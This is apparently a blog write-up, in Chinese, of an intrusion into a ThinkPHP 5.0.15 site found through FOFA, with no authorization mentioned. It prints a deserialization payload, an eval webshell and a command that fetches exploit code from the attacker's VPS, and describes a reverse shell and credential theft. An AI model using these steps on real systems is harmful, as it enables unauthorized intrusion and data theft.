记一次简单的渗透
字数 1198 2025-08-05 08:19:40
ThinkPHP 5.0.15 渗透实战:从信息收集到GetShell
前言
本文记录了一次针对ThinkPHP 5.0.15框架网站的实际渗透过程,涉及信息收集、漏洞利用、绕过防护措施和最终获取系统权限的全流程。该渗透测试展示了如何综合利用多个漏洞和技术手段突破安全限制。
信息收集阶段
-
目标发现:
- 使用FOFA搜索引擎发现目标后台管理系统
- 初步尝试弱口令和SQL注入未果
-
框架识别:
- 通过错误路由信息确认目标使用ThinkPHP框架
- 确定具体版本为ThinkPHP 5.0.15
-
环境分析:
- PHP版本:7.1
- 启用了PHP-FPM服务
- 存在安全限制:
- open_basedir限制
- disable_functions限制
漏洞分析与利用
ThinkPHP 5.0.15已知漏洞
-
RCE漏洞:
- 该版本存在远程代码执行漏洞
- 但直接利用受限于
call_user_func功能局限
-
反序列化漏洞:
- 通过控制File类实现伪协议绕过死亡exit()
- 利用payload构造:
_method=__construct&method=get&filter=unserialize&get[]=xxxxxx
文件写入尝试
-
初始尝试失败:
- 直接写入PHP代码导致语法错误:
<?php eval($_POST['ccc']);?> - 错误原因:短标签
<?被解析,后续内容被当作函数调用
- 直接写入PHP代码导致语法错误:
-
解决方案:
- 使用
php://filter组合技术绕过解析问题 - 参考CTF中常见的filter利用技术
- 使用
绕过安全限制
绕过disable_functions
-
可用技术选项:
- PHP-FPM未授权访问漏洞
- PHP 7.1特定漏洞:
- JSON serializer UAF (Use-After-Free)
- Backtrace UAF
-
选择Backtrace UAF exploit:
- 上传专门编写的利用代码
- 通过HTTP下载到目标服务器:
copy('http://vps/1.txt','/tmp/exp.php');
实际利用过程
-
执行系统命令:
- 成功执行系统命令但无法直接获取交互式shell
- 发现
/usr/bin目录链接问题
-
替代方案:
- 使用Python获取反向shell
- 创建新的webshell文件
shell.php,密码改为cmd
权限提升与横向移动
-
数据库访问:
- 从
database.php读取数据库凭据 - 成功连接数据库
- 从
-
管理员密码破解:
- 识别密码加密方式
- 通过分析后台代码获取加密/解密算法
关键技术与参考
-
文件写入技巧:
-
PHP漏洞利用:
- Backtrace UAF exploit完整代码见原文
- 需要根据目标环境调整参数
总结
本次渗透测试展示了从信息收集到最终获取系统权限的完整过程,关键点包括:
- 准确识别目标框架版本
- 综合利用多个漏洞形成攻击链
- 绕过安全限制的多种技术手段
- 根据实际情况灵活调整攻击策略
特别值得注意的是,在遇到限制时(如disable_functions),需要深入了解PHP运行机制和版本特性,才能找到有效的绕过方法。